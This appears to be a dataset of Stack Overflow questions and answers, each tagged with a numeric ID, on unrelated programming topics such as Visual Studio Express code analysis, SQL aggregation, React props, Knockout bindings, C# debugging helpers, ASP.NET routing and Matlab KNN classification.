17414398	0	Visual Studio 2012 Express Code Analysis <p>The Microsoft documentation talks about a limited set of code analysis tools being available for the express edition (e.g. <a href="http://blogs.msdn.com/b/visualstudio/archive/2012/09/12/visual-studio-express-2012-for-windows-desktop-is-here.aspx" rel="nofollow noreferrer">Microsoft Visual Studio Blog</a> ). </p> <p>I am using VS 2012 update 3, and can not see any code analysis options in context menus, or any buttons or menu options. I am pretty sure I ran some code analysis at some point, but that might have been before update 2 was installed.</p> <p>Does anyone know if this option has been removed from more recent express editions, and if not where I can find the appropriate menu item or settings to be able to run and view the results of code analysis.</p> <h3>Edit</h3> <p>there is a very clear description given below by Crippledsmurf, and it is obviously possible to access Code Analysis from vs express. I must have somehow changed some option, because none of the options described are accessible:</p> <p>Solution explorer - solution context menu: <img src="https://i.stack.imgur.com/6Dhd8.jpg" alt="solution context menu"></p> <p>project context menu:</p> <p><img src="https://i.stack.imgur.com/UtXlB.jpg" alt="project context menu"></p> <p>project properties:</p> <p><img src="https://i.stack.imgur.com/HXYZp.jpg" alt="project properties"></p>
33832948	0	 <p><strong><a href="http://sqlfiddle.com/#!9/66a621/2" rel="nofollow">Sql Fiddle Demo</a></strong></p> <pre><code>SELECT g.country, g.gender, g.gender_count, (g.gender_count * 1.0 / c.country_count) * 100 FROM ( SELECT country, gender, count(*) as gender_count FROM YourTable GROUP BY country, gender ) g JOIN ( SELECT country, count(*) as country_count FROM YourTable GROUP BY country ) c ON g.country = c.country </code></pre>
35661785	0	 <blockquote> <p>What I would like is for the Parent component to intercept the props.parentClassName set in GrandParent and change it, or create it if it doesn't exist.</p> </blockquote> <p>A component cannot intercept props from its parent because it has no access to its parent, only to its children!</p> <p>I'm still don't clearly understand what you want to achieve... Does the following code do what you want?</p> <pre><code>import _ from 'underscore'; import React from 'react'; class Grandparent extends React.Component { render() { return ( &lt;div {... this.props}&gt; &lt;Parent&gt; &lt;span&gt;hello&lt;/span&gt; &lt;span&gt;welcome&lt;/span&gt; &lt;span className="red"&gt;red&lt;/span&gt; &lt;/Parent&gt; &lt;/div&gt; ); } } // Parent component will add ``className="border"`` to each its // child without ``className`` property. class Parent extends React.Component { render() { return ( &lt;div {... this.props}&gt; {_.map(this.props.children, (v, k) =&gt; React.cloneElement(v, {className: v.props.className || 'border', key: k}))} &lt;/div&gt; ); } } </code></pre>
38843315	0	 <p>You can make JsonString to NSDicitonary.</p> <pre><code>NSError *jsonError; NSData *objectData = [@"{\"2\":\"3\"}" dataUsingEncoding:NSUTF8StringEncoding]; NSDictionary *json = [NSJSONSerialization JSONObjectWithData:objectData options:NSJSONReadingMutableContainers error:&amp;jsonError]; </code></pre> <p>and It is make NSDictionary with array.</p> <pre><code>- (NSDictionary *) indexKeyedDictionaryFromArray:(NSArray *)array { id objectInstance; NSUInteger indexKey = 0U; NSMutableDictionary *mutableDictionary = [[NSMutableDictionary alloc] init]; for (objectInstance in array) [mutableDictionary setObject:objectInstance forKey:[NSNumber numberWithUnsignedInt:indexKey++]]; return (NSDictionary *)[mutableDictionary autorelease]; } </code></pre>
37588321	0	 <p>We can use <code>uniqueN</code> from <code>data.table</code></p> <pre><code>library(data.table) setDT(Database)[, NumDates := uniqueN(Date) , by = UserId] Database # UserId Hour Date NumDates #1: 1 18 01.01.2016 3 #2: 1 18 01.01.2016 3 #3: 1 14 02.01.2016 3 #4: 1 14 03.01.2016 3 #5: 2 21 03.01.2016 2 #6: 2 8 05.01.2016 2 #7: 2 8 05.01.2016 2 #8: 3 23 05.01.2016 1 </code></pre>
39119798	0	 <p>There's an example in the documentation that uses a <code>ko.pureComputed</code> layer on top of the "real" number value:</p> <pre><code>this.price = ko.observable(25.99); this.formattedPrice = ko.pureComputed({ read: function () { return '$' + this.price().toFixed(2); }, write: function (value) { // Strip out unwanted characters, parse as float, then write the // raw data back to the underlying "price" observable value = parseFloat(value.replace(/[^\.\d]/g, "")); this.price(isNaN(value) ? 0 : value); // Write to underlying storage }, owner: this }); </code></pre> <p>Source: <a href="http://knockoutjs.com/documentation/computed-writable.html" rel="nofollow">http://knockoutjs.com/documentation/computed-writable.html</a></p> <p>This allows you to use the <code>formattedPrice</code> in your data-bind, and you can even write to it. <code>price</code> will remain a number. You'll need an extra property in your viewmodel for each number though...</p> <p>If it's only a one-way bind you're after, you could also create a <code>currencyFormatter</code> bind that extends the <code>text</code> binding:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var formatCurrency = function(value) { value = parseFloat(("" + value).replace(/[^\.\d]/g, "")); return "$" + (isNaN(value) ? 0 : value); } ko.bindingHandlers.currencyText = { update: function(element, valueAccessor) { var originalValue = ko.unwrap(valueAccessor()); var formatValue = formatCurrency.bind(null, originalValue); ko.bindingHandlers.text.update.call(null, element, formatValue); } }; ko.applyBindings({ source: ko.observable(1) })</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/knockout/3.2.0/knockout-min.js"&gt;&lt;/script&gt; &lt;input type="number" step="0.1" data-bind="value: source"&gt; &lt;h1 data-bind="currencyText: source"&gt;&lt;/h1&gt;</code></pre> </div> </div> </p>
39638973	0	 <p>I think this should help you:-</p> <pre><code>var lols = [ { prop1: "h1", prop2: "h2", }, { prop1: "g1", prop2: "g2", } ] Object.keys(lols).map(function(key,index){ var lol = lols[key] lol["props3"]="g3" console.log(lol) }) </code></pre> <p>JS fiddle link <a href="https://jsfiddle.net/bps7zzf8/" rel="nofollow">https://jsfiddle.net/bps7zzf8/</a></p>
14320527	0	Android: should I use MimeTypeMap.getFileExtensionFromUrl()? [bugs] <p>For example, I wanted to get the file Extension from the file URL using the function below:</p> <p>File name:</p> <pre><code>Greatest Hits - Lenny Kravitz (Booklet 01) [2000].jpg </code></pre> <p>Url of the file:</p> <pre><code>String url = "/mnt/sdcard/mydev/Greatest Hits - Lenny Kravitz (Booklet 01) [2000].jpg"; </code></pre> <p>Function call:</p> <pre><code>String extension = MimeTypeMap.getFileExtensionFromUrl(url); </code></pre> <p>But I'm getting an exception on the function call. Is this a bug or a feature?</p> <p>It works fine for file names that don't contain that many foreign characters (such as paranthesis).</p> <p>Is the function buggy? Am I missing something? How am I supposed to differentiate a bug from a feature? I've read the function description and it should work properly.</p> <p>Do you personally use it in your projects? It doesn't seem <a href="http://code.google.com/p/android/issues/detail?id=5510" rel="nofollow">reliable</a>.</p>
20947587	0	 <pre><code>array.forEach(function(object) { object.current = false; }); </code></pre> <p>or, if <code>forEach</code> is not present, such as on an ES3 implementation:</p> <pre><code>for (var i = 0, len = array.length; i &lt; len; ++i) { array[i].current = false; } </code></pre> <p>or, with <a href="http://lodash.com/docs#forEach" rel="nofollow"><code>_.forEach</code></a> in Lo-Dash</p> <pre><code>_.forEach(array, function(object) { object.current = false; }); </code></pre>
5417746	0	 <p>I tested the link on IE6,7,8. The slider works fine but they all throw an error on line 17:</p> <pre><code>&lt;script type="text/javascript"&gt; &lt;meta name="generator" content="Big Cartel" /&gt; &lt;script type="text/javascript"&gt; var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-22000995-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); &lt;/script&gt; </code></pre> <p>You have a meta tag inside the script tag</p>
36797358	0	 <p>This is some code I knocked up in LinqPad, which does what you want:</p> <pre><code>void Main() { c(); } void a() { using(var id = new IndentedDebug()) { id.Trace("I'm in A"); } } void b() { using(var id = new IndentedDebug()) { id.Trace("I'm in B"); a(); } } void e() { a(); } void d() { e(); } void c() { using(var id = new IndentedDebug()) { id.Trace("I'm in C"); a(); b(); { using(var id2 = new IndentedDebug()) { id2.Trace("I'm still in C"); d(); } } } } class IndentedDebug : IDisposable { const int indentSize = 2; const char indentChar = ' '; static int indentLevel = 0; private string _indentSpaces; public IndentedDebug() { _indentSpaces = new string(indentChar, indentSize * indentLevel); ++indentLevel; } public void Trace(string message) { Console.WriteLine("{0}{1}", _indentSpaces, message); } public void Dispose() { --indentLevel; } } </code></pre> <p>So your code doesn't quite look the same, but on the other hand, it's not doing any "magic" either - the code itself shows you when the indented debug ends.</p>
27117083	0	asp.net c# create a new page and refresh routing map <p>I am using the <a href="https://github.com/Haacked/RouteMagic" rel="nofollow">routemagic</a> library and it works great. Except when I create a new page it doesn't refresh the route map.</p> <p>this is my save action:</p> <pre><code> protected void lbSave_Click(object sender, EventArgs e) { //save data to database; //recompile the route.cs var assembly = BuildManager.GetCompiledAssembly("~/Config/Routes.cs"); var registrar = assembly.CreateInstance("Routes") as IRouteRegistrar; } </code></pre> <p>in the Config/Route.cs class I have a foreach loop that ties the slug to the ID:</p> <pre><code>routes.MapPageRoute(events.Slug, events.Slug, "~/index.aspx?id=" + events.ID, true, new System.Web.Routing.RouteValueDictionary { { "id", events.ID } }); </code></pre> <p>but i still keep getting a 404 page for all new pages unless i refresh IIS..What I would need to do is add a new MapPageRoute everytime I create a new "event" to avoid the 404.</p>
16553371	0	 <p>You're looking for <code>.distinct()</code></p> <p><a href="https://docs.djangoproject.com/en/dev/ref/models/querysets/#django.db.models.query.QuerySet.distinct" rel="nofollow">documentation</a></p>
11847754	0	 <p>I haven't tried it myself, but possibly an <a href="http://developer.android.com/reference/android/graphics/drawable/AnimationDrawable.html" rel="nofollow">AnimationDrawable</a> could work.</p>
3533328	0	 <p>Put this in your app.config:</p> <pre><code>&lt;configuration&gt; &lt;appSettings&gt; &lt;add key="server" value="HASIBPC\SQLEXPRESS" /&gt; &lt;appSettings&gt; &lt;/configuration&gt; </code></pre> <p>And then in your code, access it using:</p> <pre><code>return ConfigurationSettings.AppSettings["server"].ToString(); </code></pre>
27656881	0	 <p>You can not call private methods, there is no way for it directly. You could create wrappers that are those methods but as public. Best solution move them to public segemnt</p>
40920960	0	Cover flow works in Activity but it gives an error when I convert Activity to Fragment <pre><code> public class AnaSayfa extends Fragment { public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { .... ... ... } public View getView(final int position, View convertView, ViewGroup parent) { MyFrame v; if (convertView == null) { v = new MyFrame(AnaSayfa.this); } else { v = (MyFrame)convertView; } v.setImageResource(mResourceIds[position % mResourceIds.length]); v.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { } }); public static class MyFrame extends FrameLayout { private ImageView mImageView; public void setImageResource(int resId){ mImageView.setImageResource(resId); } public MyFrame(Context context) { super(context); mImageView = new ImageView(context); mImageView.setScaleType(ImageView.ScaleType.FIT_XY); addView(mImageView); setBackgroundColor(Color.WHITE); setSelected(false); } @Override public void setSelected(boolean selected) { super.setSelected(selected); if(selected) { mImageView.setAlpha(1.0f); } else { mImageView.setAlpha(0.5f); } } } </code></pre> <p>I am getting "cannot be applied" error in this code </p> <pre><code>v = new MyFrame(AnaSayfa.this); </code></pre> <p>I used cover flow for the project, but the library is written as an activity, I need to use fragment for Navigation Drawer. I'm new to android.How do i solve this error?.Thanks.</p>
1733066	0	 <p>PHP Framework: <a href="http://www.pradosoft.com/" rel="nofollow noreferrer">http://www.pradosoft.com/</a></p>
40645269	0	 <p>Add the style import above your existing style, then apply the css rule to whichever element you wish. In this case I applied it to the body. I would also recommend using here strings instead of += as they are far more readable.</p> <pre><code>$a = @" &lt;style&gt; @import url('https://fonts.googleapis.com/css?family=Ubuntu') &lt;/style&gt; &lt;style&gt; BODY{background-color:peachpuff; font-family: 'Ubuntu', sans-serif;} TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;} TH{border-width: 1px;padding: 0px;border-style: solid;border-color: black;background-color:thistle} TD{border-width: 1px;padding: 0px;border-style: solid;border-color: black;background-color:PaleGoldenrod} strong{color: green;} &lt;/style&gt; "@ $b = @" &lt;H2&gt;Service Information&lt;/H2&gt; &lt;p&gt; This is the list of services that are on this system. It dispays &lt;strong&gt;both&lt;/strong&gt; running and stopped services &lt;/p&gt; "@ Get-Service | Select-Object Status, Name, DisplayName | ConvertTo-HTML -Head $a -Body $b | Out-File C:\Scripts\Test.htm Invoke-Item C:\Scripts\Test.htm </code></pre>
19047723	0	 <p>How is this using <a href="http://apidock.com/ruby/Object/initialize_copy" rel="nofollow"><strong><em><code>initialize_copy</code></em></strong></a>:</p> <pre><code>a=[] b=[] a.object_id # =&gt; 11512248 b.object_id # =&gt; 11512068 b.send(:initialize_copy,a &lt;&lt; 10) a # =&gt; [10] b # =&gt; [10] a.object_id # =&gt; 11512248 b.object_id # =&gt; 11512068 </code></pre>
5528198	0	 <p>If the link is supposed to be "enhanced" with some javascript code, the third party probably gave you a javascript file to include as well. Be sure you're including that javascript file, and that you're doing it in the right place according to the vendor's instructions.</p>
33800089	0	 <p>I tested your code, for the first method you took, it works fine by me, I just added a <code>Dispose()</code> in it. And for the second method, I think it may be the problem that you didn't get the <code>ContentLength</code> of your var <code>response</code>.</p> <p>Here is my code, and the commented part of the code is the first method, I took a <code>Button Click</code> event to handle this:</p> <pre><code> public async void HTTP(object sender, RoutedEventArgs e) { HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("URL"); HttpWebResponse response = (HttpWebResponse)await httpWebRequest.GetResponseAsync(); Stream resStream = response.GetResponseStream(); StringBuilder sb = new StringBuilder(); StreamReader read = new StreamReader(resStream); string tmpString = null; int count = (int)response.ContentLength; int offset = 0; Byte[] buf = new byte[count]; do { int n = resStream.Read(buf, offset, count); if (n == 0) break; count -= n; offset += n; tmpString = Encoding.ASCII.GetString(buf, 0, buf.Length); sb.Append(tmpString); } while (count &gt; 0); text.Text = tmpString; read.Dispose(); //using (StreamReader read = new StreamReader(resStream)) //{ // var result = await read.ReadToEndAsync(); // text.Text = result; // read.Dispose(); //} response.Dispose(); } </code></pre> <p>I've tested it, and it works fine.</p>
32674704	1	list's index() method for nested structures OR how to match against particular value of composed element stored in list and get it's index <p>It is possible to get index of particular element in list using <code>index()</code> method, following way (borrowed from <a href="http://stackoverflow.com/questions/176918/finding-the-index-of-an-item-given-a-list-containing-it-in-python">here</a>):</p> <pre><code>&gt;&gt;&gt; ["foo", "bar", "baz"].index('bar') 1 </code></pre> <p>Is it possible to apply the same principle to nested structures (if not what is the closest most pythonic way)? The result should looks like this:</p> <pre><code>In [20]: list Out[20]: [(0, 1, 2), (3, 4, 5)] In [21]: list.someMagicFunctionHere(,4,) Out[20]: 1 </code></pre>
26481816	0	gitlab disable access over ip address <p>I installed gitlab_7.3.2-omnibus-1_amd64 on Ubuntu 14.04.1. </p> <p>I defined a domain name for gitlab and it works well. However, gitlab is still accessible over server's ip address. I want gitlab to be only accessible via domain name, not server's ip. Can you help me?</p> <p>Thank you.</p>
7397790	0	 <p>This does not make much sense to begin with. A <code>Derived</code> should be able to be used anywhere a <code>Base</code> is expected, so you should be able to do</p> <pre><code>Base *foo = new Base(); Apple x = foo-&gt;func(); // this is fine Base *bar = new Derived(); Apple y = foo-&gt;func(); // oops... </code></pre> <p>I think you need to look into a different design. It's not clear just what your goal is here, but I'm guessing you might either want <code>Base</code> to be a class template with <code>Fruit</code> as a template parameter, or maybe you need to get rid of the inheritance altogether.</p>
4228451	0	 <p>You could also check the most commonly used commercial profiler/coverage tool, AQTime from <a href="http://www.automatedqa.com" rel="nofollow">http://www.automatedqa.com</a></p> <p>Here's a video on features: <a href="http://www.automatedqa.com/products/aqtime/screencasts/coverage-profiling/" rel="nofollow">http://www.automatedqa.com/products/aqtime/screencasts/coverage-profiling/</a></p>
30118171	0	 <p>No , your regular expression <code>^/flashmediaelement.swf$</code> specifies <strong>exact</strong> match for url , so it won't match <strong>'/mediaplayer/flashmediaelement.swf</strong></p> <p>See first section <a href="https://www.icewarp.com/support/online_help/203030104.htm" rel="nofollow">here for <strong>exact match</strong></a> regex</p>
8787942	0	 <p>I've managed to pull a somewhat 'generic' solution. <em>removeAttribute</em> doesn't work if opacity is between 0 and 1, so my two cents solution follows:</p> <p><em>Put this code just after the first line of jQuery animate method definition (jquery.x.x.x.js)</em></p> <pre><code>animate: function( prop, speed, easing, callback ) { var optall = jQuery.speed(speed, easing, callback); /* * IE rendering anti-aliasing text fix. */ // fix START var old_complete_callback = optall.complete; optall = jQuery.extend( optall, {complete: function(){ if (jQuery.browser.msie) { var alpha = $(this).css('opacity'); if(alpha == 1 || alpha == 0) { this.style.removeAttribute('filter'); } } if (jQuery.isFunction(old_complete_callback)) { old_complete_callback.call(this); } } }); // fix END ... </code></pre> <p>Hope this will help...</p>
16697004	0	jQuery - toggle() a form when a button is clicked in a list <p>Problem: I don't want it to toggle when I am clicking on the table. Only when I click the button(div). Also, there has to be a selector so that other li's tables doesnt toggle.</p> <p>jQuery</p> <pre><code>$(document).ready(function() { $('table.edititem').hide(); $('.menu-category &gt; li ul li .button').click(function(){ $('table.edititem', this).toggle(); }); }); </code></pre> <p>I know the problem is: $('table.edititem', >>>this&lt;&lt;&lt;).toggle(); Because the table is not inside the ".button". We need to grab the parent, but how do we do it?</p> <p>HTML</p> <pre><code>&lt;ul&gt; &lt;li&gt; Category1 &lt;ul&gt; &lt;li&gt; &lt;div&gt; &lt;div class="button"&gt;&lt;/div&gt; &lt;table class="edititem"&gt; &lt;/table&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p>I hope you understand what I mean.</p>
3753443	0	 <p>AIR addition to the actionscript 3 language that provide ways to control features from windows, mac, and linux. eg the titlebar and saving files.</p> <p>Flex is an addition to the actionscript 3 language that provides way to new interrogation features from server technologies like java, php, asp and connection between multiple flash applications and databases.</p> <p>Flash (CS4) can include AIR code but doesn't include Flex code. the server technology in Flash is limited but exists. Flash includes the GUI that stream lines developing. Like vector based graphics, filters, and components. Also more documentation and examples because it's easier to rewrite classes from Flex into Flash then rewriting Flash code for classes.</p> <p>Where in Flash you have a button, radio button, dropdown, or menu for every property of a movieclip, image, button. Where in Flex you can write all these properties/options by simply copying pasting, and tweaking the raw code.</p>
27542746	0	 <p>You can also ask the window: </p> <p>var hidpi = ('devicePixelRatio' in window &amp;&amp; devicePixelRatio > 1);</p> <p>and create the default Layers like this: </p> <p>var defaultLayers = platform.createDefaultLayers(hidpi ? 512 : 256, hidpi ? 320 : null);</p>
32547416	0	 <p>Assuming cell A1 is the range in question, select it and for Data Validation enter this formula under Custom:</p> <pre><code>=AND(LEN(A1)=7,ISTEXT(A1),ISNUMBER(MID(A1,2,6)+0)) </code></pre>
17107499	0	Draw multiple views of scene on single screen <p>I have a class for projection in OpenGL, which a user can use as follows:</p> <pre><code>//inside the draw method customCam1.begin(); //draw various things here customCam1.end(); </code></pre> <p>The <code>begin</code> and <code>end</code> methods in my class are simple methods right now as follows:</p> <pre><code>void CustomCam::begin(){ saveGlobalMatrices(); glMatrixMode(GL_PROJECTION); glLoadIdentity(); glOrtho(-hParam,hParam,-tParam,tParam,near,far);//hParam and tParam are supplied by the user of the class glMatrixMode(GL_MODELVIEW); glLoadIdentity(); } void CustomCam::end(){ loadGlobalMatrices(); }; </code></pre> <p>I want the user to be able to create multiple instances of the above class (supply different params for <code>lParam</code> and <code>tParam</code> for each of these classes) and then draw all the three on the screen. In essence, this is like three different cameras for the scene which are two be drawn on the screen. (Consider for example top, right, bottom view to be draw on the screen with the screen divided in three columns).</p> <p>Now since there's only one projection matrix, how do I achieve three different custom cam views at the same time?</p>
21018077	0	 <p>The reference you have given seems to be a little misleading. It explains <code>function pointers</code> as <code>callbacks</code> <strong>without actually serving the purpose of a callback</strong>. <br /><a href="http://www.prog2impress.com/downloads/The%20Function%20Pointer%20Tutorials.pdf" rel="nofollow">This</a> would be a better tutorial for <code>function pointers</code>. The <code>qsort()</code> library function is a good example of <code>callback</code>.</p>
10346536	0	 <p>Easy enough. </p> <ol> <li><p>First create a database that uses the Contacts template (or you can use your contacts database. </p></li> <li><p>Create your document in Symphony. (I have only used the embedded productivity tools in Notes). </p></li> <li><p>Select Tools->Mail Merge. </p></li> <li><p>Click Browse that appears on the left, select your NSF file that contains the contacts. </p></li> </ol> <p>After this you should have an "Insert Fields" list appear. You can add these to your document. </p> <p>Then click "Finish Merge" and select the option you want. (Easier then LS IMHO).</p> <p>... As for LotusScript. The following should get you started. </p> <p><a href="http://www.ibm.com/developerworks/lotus/library/symphony-toolkit/" rel="nofollow">http://www.ibm.com/developerworks/lotus/library/symphony-toolkit/</a></p>
39204525	0	 <p>Add this into model/User.php Hope it will work</p> <pre><code>public $hasMany = array( 'Phonenumber' =&gt; array( 'className' =&gt; 'Phonenumber', 'foreignKey' =&gt; 'user_id', 'conditions' =&gt; array('Phonenumber.user_id' =&gt; 'User.id'), 'dependent' =&gt; true ) </code></pre>
18683079	0	 <p>The regular CursorLoader is based on Android's ContentProvider - so if you're not using it, you'll have to write your own Loader. Here's one way you can do it:</p> <p><a href="https://github.com/commonsguy/cwac-loaderex/blob/master/src/com/commonsware/cwac/loaderex/acl/AbstractCursorLoader.java" rel="nofollow">https://github.com/commonsguy/cwac-loaderex/blob/master/src/com/commonsware/cwac/loaderex/acl/AbstractCursorLoader.java</a></p> <p>From that point it's pretty straight forward. Your activity/fragment can be a callback for the LoaderManager - it will need to implement LoaderCallbacks interface. </p> <p>Instead of running your query, use getLoaderManager().initLoader(this, null, LOADER_ID) to initialize data loading. Here's an example: <a href="http://developer.android.com/reference/android/app/LoaderManager.html" rel="nofollow">http://developer.android.com/reference/android/app/LoaderManager.html</a></p> <p>Now, the data will be in the onLoadFinished() callback. If you did everything right, you'll get your cursor here. Now simply use the cursor to populate your list. </p>
40729708	0	Track Dependency Property Value Changes WPF <p>I am looking for a Way to be notified on property changed of a dependency property. Similar question was answered <a href="http://stackoverflow.com/questions/4764916/listen-to-changes-of-dependency-property">here</a></p> <p>What is meant by: </p> <p>"If it's a DependencyProperty of a separate class, the easiest way is to bind a value to it, and listen to changes on that value."</p> <p>can someone explain with an example. </p> <p>thanks!</p>
27047011	0	 <p>This is not an inherent limitation in Windows, problems like these are environmental. A basic check-list:</p> <ul> <li>Try this with a <a href="http://download.linnrecords.com/test/mp3/tone.aspx">known-good MP3 file</a>. That test file is encoded at 320 kbps. This helps eliminate a specific problem with your files, like a wonky DRM scheme that only permits playback on an approved player.</li> <li>Make sure you run this code on an STA thread, the kind provided by a Winforms or WPF app. <em>Not</em> a console mode app, it requires the kind of code you find in <a href="http://stackoverflow.com/a/21684059/17034">this post</a>.</li> <li>Beware of having non-standard ACM drivers installed. There is a <em>lot</em> of junk out there, always treat "codec packs" with strong distrust. Review the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32 registry key, that's where ACM drivers are registered.</li> <li>And last but certainly not least, you are blind as a bat as long as you are ignoring the return value of mciSendString(). When it fails, it produces an error code that tells you the reason.</li> </ul> <p>A simple implementation of an error checker method:</p> <pre><code> private static void checkMCIResult(long code) { int err = (int)(code &amp; 0xffffffff); if (err != 0) { throw new Exception(string.Format("MCI error {0}", err)); } } </code></pre> <p>Usage:</p> <pre><code> public static void open(string file) { string command = "open \"" + file + "\" type MPEGVideo alias MyMp3"; checkMCIResult(mciSendString(command, null, 0, 0)); } </code></pre> <p>There are a lot of possible MCI errors, you'll find them listed in MMSystem.h file in the Windows SDK "include" directory on your machine. Like C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Include\MMSystem.h. Start at MCIERR_INVALID_DEVICE_ID, subtract 256 from the error code. Always mention your Windows and VS version btw.</p>
16054711	0	How this linq execute? <pre><code>Data = _db.ALLOCATION_D.OrderBy(a =&gt; a.ALLO_ID) .Skip(10) .Take(10) .ToList(); </code></pre> <p>Let say I have 100000 rows in <code>ALLOCATION_D</code> table. I want to select first 10 row. Now I want to know how the above statement executes. I don't know but I think it executes in the following way...</p> <ol> <li>first it select the 100000 rows</li> <li>then ordered by ALLO_ID</li> <li>then Skip 10</li> <li>finally select the 10 rows.</li> </ol> <p>Is it right? I want to know more details. </p>
21434037	0	Bash Shell Script - If with Find not returning what I expected <p>My program:</p> <pre><code>find teste1 | while read -r firstResult do find teste2 | while read -r secondResult do if [[ $firstResult == $secondResult ]]; then echo "$firstResult" "$secondResult" &gt; equal.lst else echo "$firstResult" "$secondResult" &gt; notEqual.lst fi done done </code></pre> <p>Now, my problem is that when it searches the contents of the find on the "<code>IF</code>" command, it isn't saving the differences on "notEqual" nor the equals to "equal".</p> <p>Am I doing something wrong or missing anything?</p> <p>If you don't know the answer or can at least point me in a better direction, I would trully appreciate it! :)</p> <p>What I want from the program as a total:</p> <p>Search a directory and whilst doing this, search another directory, if any of the searches on those directories match each other, save it to "equal", if not, save it to "notequal".</p> <p>I need this program so I can find which files have been renamed or deleted and so on.</p> <p>----------EDIT----------------</p> <p>After seeing other comments, I tried messing around with Differ:</p> <pre><code>find teste1 -type f | while read -r firstResult do find teste2 -type f | while read -r secondResult do diff -rs $firstResult $secondResult done done </code></pre> <p>The problem with this one is that it does find some "identical" files, however, the "identical" for this means the files with the same .extension, could I remove this possibility somehow?</p> <p>----------EDIT 2----------------</p> <p>Ok, so, hopefully this will be my last EDIT and will finally post an ANSWER, I did some modifications to my original program and I know it's not as farfetched as most of those that are around here but it got me pretty damn close to where I wanted and since I am a noob, please bare with extensiveness of the program when it could be much smaller:</p> <pre><code>find teste1 -type f | while read -r firstResult do find teste2 -type f | while read -r secondResult do firstName=${firstResult##*[/|\\]} secondName=${secondResult##*[/|\\]} if [[ $firstName == $secondName ]]; then echo "$firstResult" "$secondResult" &gt;&gt; equal.lst else echo "$firstResult" "$secondResult" &gt;&gt; notEqual.lst fi done done </code></pre> <p>Now... My final dillema and I think it's quite easy: This only finds and saves files with the exact cases and I'd like, imagine as this -> You have a folder on 1 directory, now someone comes and saves another folder just like that (different content) on another directory but "renames" the folder to a different casing, as in 1st dir "tEsT" and 2nd dir "test". The program won't consider those two as the same, how do I change this? I have heard of case sensitive but I don't know exactly "where" to put it.</p>
10856504	0	 <p>If you want to compute the <a href="http://en.wikipedia.org/wiki/Euclidean_distance" rel="nofollow">Euclidean distance</a> between vectors <code>a</code> and <code>b</code>, just use <a href="http://en.wikipedia.org/wiki/Pythagorean_theorem" rel="nofollow">Pythagoras</a>. In Matlab:</p> <pre><code>dist = sqrt(sum((a-b).^2)); </code></pre> <p>However, you might want to use <a href="http://www.mathworks.nl/help/toolbox/stats/pdist.html" rel="nofollow"><code>pdist</code></a> to compute it for all combinations of vectors in your matrix at once.</p> <pre><code>dist = squareform(pdist(myVectors, 'euclidean')); </code></pre> <p>I'm interpreting columns as instances to classify and rows as potential neighbors. This is arbitrary though and you could switch them around.</p> <p>If have a separate test set, you can compute the distance to the instances in the training set with <code>pdist2</code>:</p> <pre><code>dist = pdist2(trainingSet, testSet, 'euclidean') </code></pre> <p>You can use this distance matrix to knn-classify your vectors as follows. I'll generate some random data to serve as example, which will result in low (around chance level) accuracy. But of course you should plug in your actual data and results will probably be better.</p> <pre><code>m = rand(nrOfVectors,nrOfFeatures); % random example data classes = randi(nrOfClasses, 1, nrOfVectors); % random true classes k = 3; % number of neighbors to consider, 3 is a common value d = squareform(pdist(m, 'euclidean')); % distance matrix [neighborvals, neighborindex] = sort(d,1); % get sorted distances </code></pre> <p>Take a look at the <code>neighborvals</code> and <code>neighborindex</code> matrices and see if they make sense to you. The first is a sorted version of the earlier <code>d</code> matrix, and the latter gives the corresponding instance numbers. Note that the self-distances (on the diagonal in <code>d</code>) have floated to the top. We're not interested in this (always zero), so we'll skip the top row in the next step.</p> <pre><code>assignedClasses = mode(neighborclasses(2:1+k,:),1); </code></pre> <p>So we assign the most common class among the k nearest neighbors!</p> <p>You can compare the assigned classes with the actual classes to get an accuracy score:</p> <pre><code>accuracy = 100 * sum(classes == assignedClasses)/length(classes); fprintf('KNN Classifier Accuracy: %.2f%%\n', 100*accuracy) </code></pre> <p>Or make a confusion matrix to see the distribution of classifications:</p> <pre><code>confusionmat(classes, assignedClasses) </code></pre>
37507547	0	 <p>Try</p> <pre><code>INSERT INTO [dbo].[WordRelationship] SElECT a.WordId, b.WordId from [dbo].[Temp] t JOIN [dbo].{Word] a on t.HeaderWord = a.Word LEFT JOIN [dbo].{Word] b on t.OtherWord = b.Word </code></pre> <p><strong>EDIT</strong></p> <p>removed LEFT in Join over Headerword since it is a not null field in WordRelationship.</p>
8227531	0	 <p>You are overwritting the first value in your variable "myAjax" by assigning it a second value. It would be just like doing something like </p> <pre><code>var x=5; x=7; alert(x); </code></pre> <p>Here x would hold the value of 7, because that was the last value assigned to it.</p> <p>This function </p> <pre><code>myAjax.onreadystatechange=function() { if (myAjax.readyState==4 &amp;&amp; myAjax.status==200) { document.getElementById(div).innerHTML=myAjax.responseText; } } </code></pre> <p>will be called when the server you are calling returns a response. When the first call returns myAjax will be holding the value of the second call already, making the first call not display anything. You need to either assign these two variables synchronously (one after the other one has completed), or assign them to different variable names. </p>
12512677	0	How to write equations in an Android textview? <p>I want to display some equations in my android app and was wondering how to display a simple equation. Any ideas? </p> <p>EDIT: Is it possible to do to this in the xml file or does it has to defined dynamically in the java code?</p>
